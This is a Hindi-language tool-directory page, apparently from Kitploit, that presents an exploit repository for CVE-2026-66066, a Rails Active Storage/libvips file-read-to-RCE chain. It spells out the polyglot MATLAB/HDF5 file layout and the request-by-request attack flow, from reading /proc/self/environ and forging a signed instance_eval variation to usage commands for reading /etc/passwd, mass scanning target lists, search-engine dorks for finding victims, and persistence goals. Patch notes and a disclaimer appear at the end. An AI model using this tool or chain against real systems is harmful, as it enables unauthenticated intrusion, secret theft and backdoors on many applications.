Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/shinthink/cve-2026-66066
टोहीभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips मनमाना फ़ाइल पढ़ना → RCE। MATLAB/HDF5 दोहरी-पहचान फ़ाइल → SECRET_KEY_BASE चोरी → जाली भिन्नता। CVSS 9.5 | Rails < 8.1.3.1

रिपॉजिटरी देखें
111 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-66066 — KindaRails2Shell

Rails Active Storage/libvips मनमाना फ़ाइल पठन → SECRET_KEY_BASE चोरी → RCE


अवलोकन

CVE-2026-66066 Ruby on Rails Active Storage में एक गंभीर-स्तर (CVSS 9.5) प्री-ऑथेंटिकेशन मनमाना फ़ाइल पठन से रिमोट कोड निष्पादन श्रृंखला है, जो Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5, और 8.1.0–8.1.3 को उनके डिफ़ॉल्ट कॉन्फ़िगरेशन में प्रभावित करती है।

यह भेद्यता Rails, libvips, libmatio और HDF5 के बीच चार-परत पार्सर कन्फ्यूज़न का शोषण करती है। MATLAB 5.0 हेडर (libvips के स्निफर को संतुष्ट करने वाली) और HDF5 v7.3 कंटेनर (libmatio द्वारा डिस्पैच की गई) वाली एक क्राफ्ट की गई फ़ाइल में एक एक्सटर्नल डेटासेट होता है जो किसी मनमाने सर्वर-साइड फ़ाइल पथ की ओर इंगित करता है। जब ActiveStorage इस फ़ाइल को इमेज वैरिएंट के रूप में प्रोसेस करता है, तो लक्ष्य फ़ाइल के बाइट्स इमेज पिक्सेल बन जाते हैं — जिससे बिना ऑथेंटिकेशन के मनमाना फ़ाइल पठन संभव होता है।

एक बार SECRET_KEY_BASE को /proc/self/environ या क्रेडेंशियल फ़ाइलों से प्राप्त कर लेने के बाद, हमलावर Active Storage वेरिफायर कुंजी प्राप्त करता है और instance_eval युक्त एक हस्ताक्षरित वैरिएशन JSON बनाता है, जिससे रिमोट कोड निष्पादन प्राप्त होता है।

प्रभावित इंस्टॉल: 500K+ Rails एप्लिकेशन (Rails 7+ डिफ़ॉल्ट variant_processor = :vips) खोजकर्ता: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, जुलाई 2026 पैच: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 जुलाई, 2026)

प्रभावित संस्करण

BranchVulnerableFixed
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x केवल तब प्रभावित होता है जब variant_processor = :vips मैन्युअल रूप से सक्षम किया गया हो।

खोजकर्ता: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph संदर्भ PoC: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


भेद्यता तंत्र

मूल कारण: चार-परत पार्सर कन्फ्यूज़न

यह शोषण चार घटकों के बीच दो स्वतंत्र कंटेंट-टाइप असहमतियों को जोड़ता है:

root@kitploit:~
Layer 1: Rails      → क्लाइंट द्वारा घोषित content_type (image/png) पर भरोसा करता है
                      प्रत्यक्ष अपलोड ब्लॉब्स पर कोई बाइट पुनः-पहचान नहीं।
Layer 2: libvips    → ऑफ़सेट 0–9 पर मैजिक बाइट्स "MATLAB 5.0" पर भरोसा करता है
                      पूर्ण हेडर सत्यापित किए बिना फ़ाइल को matload पर भेजता है।
Layer 3: libmatio   → ऑफ़सेट 124–125 पर वर्शन वर्ड 0x0200 पर भरोसा करता है
                      HDF5 रीडर को डिस्पैच करता है; वर्णनात्मक टेक्स्ट बेमेल को अनदेखा करता है।
Layer 4: HDF5       → external(path, offset, length) डेटासेट संदर्भ पर भरोसा करता है
                      H5Dread पारदर्शी रूप से बाहरी फ़ाइल को खोलता और पढ़ता है।
                      
परिणाम: मनमानी फ़ाइल के बाइट्स PNG पिक्सेल डेटा के रूप में लौटाए जाते हैं।

दोहरी-पहचान फ़ाइल

BytesPurposeValue
0–9libvips स्निफरMATLAB 5.0
10–123पैडिंगस्पेस
124–125libmatio डिस्पैचर0x0200 (HDF5 v7.3)
126–127एंडियन मार्कर0x4d49 (IM)
128–511HDF5 userblockपैडिंग
512+HDF5 superblockएक्सटर्नल डेटासेट वाला कंटेनर

"कोई भी वैध लेखक बाइट 0 पर MATLAB 5.0 और बाइट 124 पर 0x0200 दोनों नहीं लिखता।"

यह क्यों काम करता है

  1. क्लाइंट द्वारा घोषित content_type — Blob#variable? प्रत्यक्ष अपलोड समय पर डेटाबेस कॉलम में भरे गए मान पर भरोसा करता है। किसी भी बाइट की जाँच नहीं की जाती।
  2. libvips स्वतः-पहचान — Vips::Image.new_from_file लोडरों को पुनरावृत्त करता है; matload का स्निफर केवल 10 बाइट्स की जाँच करता है।
  3. libmatio वर्शन डिस्पैच — बाइट्स 124–125 पार्सर निर्धारित करते हैं; 0x0200 वर्णनात्मक टेक्स्ट की परवाह किए बिना HDF5 बैकएंड का चयन करता है।
  4. HDF5 एक्सटर्नल डेटासेट्स — H5Pset_external डेटासेट के कच्चे बाइट्स को किसी मनमाने बाहरी फ़ाइल में रखने की अनुमति देता है। libmatio H5Pget_external_count की जाँच किए बिना H5Dread को कॉल करता है।
  5. वैरिएशन कुंजियाँ ब्लॉब-स्वतंत्र होती हैं — एक प्राप्त वैरिएशन कुंजी केवल ट्रांसफ़ॉर्म पर हस्ताक्षर करती है, ब्लॉब ID पर नहीं, जिससे वे किसी भी अपलोड किए गए ब्लॉब पर दोबारा उपयोग योग्य बन जाती हैं।
  6. Vips ट्रांसफ़ॉर्मर में विधि allowlist का अभाव — Transformers::Vips आधार क्लास से validate_transformation विरासत में लेता है, जो केवल combine_options को अवरुद्ध करता है। मनमानी विधि नाम Vips::Image.public_send तक पहुँच जाते हैं।

हमले का प्रवाह

root@kitploit:~
1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails क्लाइंट-घोषित प्रकार के साथ ब्लॉब सहेजता है, identified=false स्थायी रूप से

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → पेलोड अपलोड हुआ, ब्लॉब प्रोसेसिंग के लिए तैयार

3. ऐप पर किसी भी मौजूदा थंबनेल से variation_key प्राप्त करें
   → og:image, HTML , API प्रतिक्रियाएँ, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage ब्लॉब डाउनलोड करता है, libvips को भेजता है
   → libvips "MATLAB 5.0" का पता लगाता है, matload पर भेजता है
   → libmatio 0x0200 देखता है, HDF5 कंटेनर खोलता है
   → H5Dread external(/proc/self/environ) हल करता है → फ़ाइल बाइट्स पिक्सेल बन जाते हैं
   → PNG थंबनेल हमलावर को लौटाया जाता है

5. PNG पिक्सेल डिकोड करें → पर्यावरण से SECRET_KEY_BASE प्राप्त करें

6. वेरिफायर कुंजी प्राप्त करें: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   हस्ताक्षरित वैरिएशन बनाएं: {"instance_eval" => "system('cmd > /tmp/out')"}
   representations रूट पर सबमिट करें → RCE

सत्यापित स्रोत कोड संदर्भ

FilePurpose
activestorage/app/models/active_storage/blob.rbvariable? content_type कॉलम पर भरोसा करता है
activestorage/app/models/active_storage/blob/representable.rbRepresentation रूट ब्लॉब + वैरिएशन को स्वतंत्र रूप से हल करता है
activestorage/app/models/active_storage/variation.rbdecode वैरिएशन कुंजी सत्यापित करता है; ब्लॉब का कोई क्रॉस-संदर्भ नहीं
image_processing/lib/image_processing/transformers/vips.rbकोई विधि allowlist नहीं — आधार क्लास व्यवहार विरासत में लेता है
libvips/foreign/matload.cvips__mat_ismat केवल पहले 10 बाइट्स की जाँच करता है

स्थापना

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

उपयोग

root@kitploit:~
# पूर्ण श्रृंखला — फ़ाइल पठन → गुप्त कुंजी पुनर्प्राप्ति → RCE
python cve_2026_66066.py -t rails-app.com

# किसी विशिष्ट फ़ाइल को पढ़ें
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# SECRET_KEY_BASE सीधे प्रदान करें (फ़ाइल पठन छोड़ें)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# बड़े पैमाने पर स्कैन
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

तर्क

root@kitploit:~
  -t, --target       एकल लक्ष्य URL
  -f, --file         लक्ष्य सूची, प्रति पंक्ति एक
  -c, --command      निष्पादित की जाने वाली शेल कमांड (डिफ़ॉल्ट: id)
  --read PATH        सर्वर से किसी विशिष्ट फ़ाइल को पढ़ें
  --skb SECRET       RCE के लिए SECRET_KEY_BASE सीधे प्रदान करें
  -o, --output       परिणाम फ़ाइल में सहेजें
  --threads          समवर्ती वर्कर (डिफ़ॉल्ट: 20)
  --timeout          HTTP अनुरोध टाइमआउट सेकंड में
  --debug            प्रत्येक HTTP अनुरोध दिखाएं
  -v, --verbose      विस्तृत आउटपुट

प्रूफ ऑफ कॉन्सेप्ट

एकल लक्ष्य

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.example.com
root@kitploit:~
  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5

  Host          : rails-app.example.com
  Rails         : YES
  ActiveStorage : YES
  File Read     : YES
  SECRET_KEY    : a1b2c3d4...
  RCE           : YES

  RCE Output:
  uid=1000(rails) gid=1000(rails) groups=1000(rails)
  rails-prod-01

केवल फ़ाइल पठन

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ

FOFA / Shodan

root@kitploit:~
FOFA:   body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"

प्रभाव

सफल शोषण से Rails प्रक्रिया उपयोगकर्ता के रूप में रिमोट कोड निष्पादन प्राप्त होता है:

  • SECRET_KEY_BASE निकालें → हस्ताक्षरित कुकीज़, सत्र और ActiveStorage टोकन बनाएं
  • credentials.yml.enc डिक्रिप्ट करें → डेटाबेस पासवर्ड, क्लाउड स्टोरेज कुंजियाँ, तृतीय-पक्ष API टोकन
  • हस्ताक्षरित सत्रों के माध्यम से Rails कंसोल तक पहुँचकर सभी एप्लिकेशन डेटा एक्सेस करें
  • Rails होस्ट से पहुँच योग्य आंतरिक सेवाओं की ओर बढ़ें
  • cron, SSH कुंजियों या एप्लिकेशन-स्तरीय वेबशेल के माध्यम से स्थायी बैकडोर तैनात करें

एप्लिकेशन पर किसी खाते की आवश्यकता नहीं है — प्रत्यक्ष अपलोड एंडपॉइंट डिफ़ॉल्ट रूप से बिना ऑथेंटिकेशन के अनुरोध स्वीकार करता है।


समाधान (Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1)

समाधान अविश्वसनीय libvips लोडरों को अवरुद्ध करता है:

root@kitploit:~
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1

यह matload, svgload, fitsload, niiload, radload और openslideload को अविश्वसनीय इनपुट प्रोसेस करने से रोकता है। Rails 7.2.3.2, 8.0.5.1, या 8.1.3.1 में अपग्रेड करें। libvips >= 8.13 और ruby-vips >= 2.2.1 आवश्यक है।

पैच के बाद: Rails प्रक्रिया द्वारा पठनीय सभी गुप्त कुंजियाँ घुमाएँ — SECRET_KEY_BASE, RAILS_MASTER_KEY, डेटाबेस क्रेडेंशियल्स और क्लाउड स्टोरेज कुंजियाँ।


अस्वीकरण

केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।

स्वामी से स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते।


संदर्भ

ResourceLink
Rails सुरक्षा सलाहGHSA-xr9x-r78c-5hrm
संदर्भ PoC (0xsha)KindaRails2Shell
Ethiack अनुसंधानkindarails2shell
Rails फोरेंसिक्सrails-forensics-CVE-2026-66066
Metasploit मॉड्यूलrapid7/metasploit-framework#21733
CWE-94Code Injection

Ethiack Research Team + RyotaK + bl0rph द्वारा खोजा गया। Ruby on Rails से संबद्ध नहीं।

टूल डाउनलोड करें